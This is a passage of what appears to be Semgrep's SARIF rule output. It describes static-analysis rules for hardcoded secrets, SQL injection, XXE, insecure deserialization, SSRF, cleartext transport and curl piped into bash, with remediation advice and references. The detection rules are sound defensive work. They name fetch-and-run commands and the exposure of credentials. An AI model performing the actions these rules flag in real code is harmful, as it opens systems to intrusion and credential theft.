- [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret","id":"python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret","name":"python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"pdb.set_trace() with the header argument is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use set_trace() without the header argument."},"help":{"markdown":"pdb.set_trace() with the header argument is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use set_trace() without the header argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-pdb)\n","text":"pdb.set_trace() with the header argument is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use set_trace() without the header argument."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-pdb","id":"python.lang.compatibility.python37.python37-compatibility-pdb","name":"python.lang.compatibility.python37.python37-compatibility-pdb","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-pdb"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects setting client protocols to insecure versions of TLS and SSL. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects setting client protocols to insecure versions of TLS and SSL. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2)\n - [https://stackoverflow.com/questions/26504653/is-it-possible-to-disable-sslv3-for-all-java-applications](https://stackoverflow.com/questions/26504653/is-it-possible-to-disable-sslv3-for-all-java-applications)\n","text":"Detects setting client protocols to insecure versions of TLS and SSL. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2","id":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2","name":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Facebook Access Token detected"},"help":{"markdown":"Facebook Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Facebook Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token","id":"generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token","name":"generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n - [https://db.apache.org/jdo/api30/apidocs/javax/jdo/PersistenceManagerFactory.html](https://db.apache.org/jdo/api30/apidocs/javax/jdo/PersistenceManagerFactory.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password","id":"java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password","name":"java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password","id":"python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password","name":"python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `compileScript` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `compileScript` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection)\n - [https://github.com/cyrus-and/chrome-remote-interface](https://github.com/cyrus-and/chrome-remote-interface)\n","text":"If unverified user data can reach the `compileScript` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection","id":"javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection","name":"javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.java-sql-sqli.java-sql-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.java-sql-sqli.java-sql-sqli","id":"java.spring.security.java-sql-sqli.java-sql-sqli","name":"java.spring.security.java-sql-sqli.java-sql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.java-sql-sqli.java-sql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret","id":"go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret","name":"go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri","id":"java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri","name":"java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda","id":"python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda","name":"python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlopen()' using 'ftp://'. This request will not be encrypted. Consider using SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"help":{"markdown":"Detected 'urllib.urlopen()' using 'ftp://'. This request will not be encrypted. Consider using SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen)\n","text":"Detected 'urllib.urlopen()' using 'ftp://'. This request will not be encrypted. Consider using SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet","id":"java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet","name":"java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The 'FTP' class sends information unencrypted. Consider using the 'FTP_TLS' class instead."},"help":{"markdown":"The 'FTP' class sends information unencrypted. Consider using the 'FTP_TLS' class instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls)\n - [https://docs.python.org/3/library/ftplib.html#ftplib.FTP_TLS](https://docs.python.org/3/library/ftplib.html#ftplib.FTP_TLS)\n","text":"The 'FTP' class sends information unencrypted. Consider using the 'FTP_TLS' class instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls","id":"python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls","name":"python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data is being piped into `bash` from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the pipe, resulting in a system compromise. Avoid piping untrusted data into `bash` or any other shell if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"help":{"markdown":"Data is being piped into `bash` from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the pipe, resulting in a system compromise. Avoid piping untrusted data into `bash` or any other shell if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/bash.curl.security.curl-pipe-bash.curl-pipe-bash)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Data is being piped into `bash` from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the pipe, resulting in a system compromise. Avoid piping untrusted data into `bash` or any other shell if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"helpUri":"https://semgrep.dev/r/bash.curl.security.curl-pipe-bash.curl-pipe-bash","id":"bash.curl.security.curl-pipe-bash.curl-pipe-bash","name":"bash.curl.security.curl-pipe-bash.curl-pipe-bash","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: bash.curl.security.curl-pipe-bash.curl-pipe-bash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password","id":"ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password","name":"ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"'$VAR' is the empty string and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the password to None or call 'set_unusable_password()'."},"help":{"markdown":"'$VAR' is the empty string and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the password to None or call 'set_unusable_password()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.passwords.password-empty-string.password-empty-string)\n - [https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password](https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password)\n","text":"'$VAR' is the empty string and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the password to None or call 'set_unusable_password()'."},"helpUri":"https://semgrep.dev/r/python.django.security.passwords.password-empty-string.password-empty-string","id":"python.django.security.passwords.password-empty-string.password-empty-string","name":"python.django.security.passwords.password-empty-string.password-empty-string","properties":{"precision":"very-high","tags":["CWE-521: Weak Password Requirements","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.passwords.password-empty-string.password-empty-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `Http` can likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct 